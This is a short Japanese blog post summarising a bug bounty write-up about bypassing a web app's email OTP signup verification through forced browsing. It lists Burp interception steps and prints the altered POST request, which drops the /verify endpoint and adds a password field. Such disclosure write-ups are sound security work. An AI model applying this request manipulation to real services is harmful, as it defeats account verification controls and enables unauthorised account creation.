Hello there, ('ω')ノ
強制ブラウジングによる2FAバイパスを。
脆弱性:
2FAバイパス
記事:
https://infosecwriteups.com/2fa-bypass-via-forced-browsing-9e511dfdb8df
下記は、強制ブラウジングのイメージで。
アプリケーションによって実装された電子メール検証フェーズを。
バイパスすることができたプライベートプログラムでの発見を共有することに。
強制ブラウジング:
強制ブラウジングは、保護が不十分なWebサイトや。
Webアプリケーションに対する攻撃手法で。
攻撃者はアクセスできないはずのリソースにアクセスできて。
今回は、ターゲットをredacted.comと仮定して。
通常のSIGNUPフロー:
新しいアカウントを作成する際には。
ユーザはメールアドレスに送信された6桁のOTPを入力する必要があって。
ユーザが有効なOTPを入力した場合にのみ。
そのメールアドレスに対して有効なアカウントが作成されて。
しかし、強制ブラウジングを介して、OTPを入力せずに。
任意の電子メールアドレスを使用して有効なアカウントの作成を確認できて。
搾取:
1)サインアップページに移動して。
2)メールでサインアップをクリックして。
3)ユーザ名、メールアドレス、パスワードなどの詳細をすべて入力して。
4)Burpのインターセプトをオンにしておいて。
5)[アカウントの作成]をクリックして。
6)下記のエンドポイントに対して行われたPOSTリクエストをキャプチャして。
POST /_api/signup/verify
次に、POSTリクエストから/verifyを削除して。
そのポストリクエストの本文に、構文の間違いなしに下記を追加して。
「password」:「anypassword」
以下が、最終的なリクエストで。
POST /_ajax/signup HTTP/1.1
Host: www.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.redacted.com/en_in/
Content-Type: application/json;charset=UTF-8
Content-Length: 94
Origin: https://www.redacted.com
DNT: 1
Connection: close
{“xxxx”:”xxxxx”,”sxxxxe”:”xx-xx-xx”,”email”:”asalsflab@gmails.com”,”password”:”Password@123"}
上記の変更されたリクエストをサーバに渡して。
次に、ログインページに移動して。
電子メールアドレスとパスワードを使用することでログインできて。
Best regards, (^^ゞ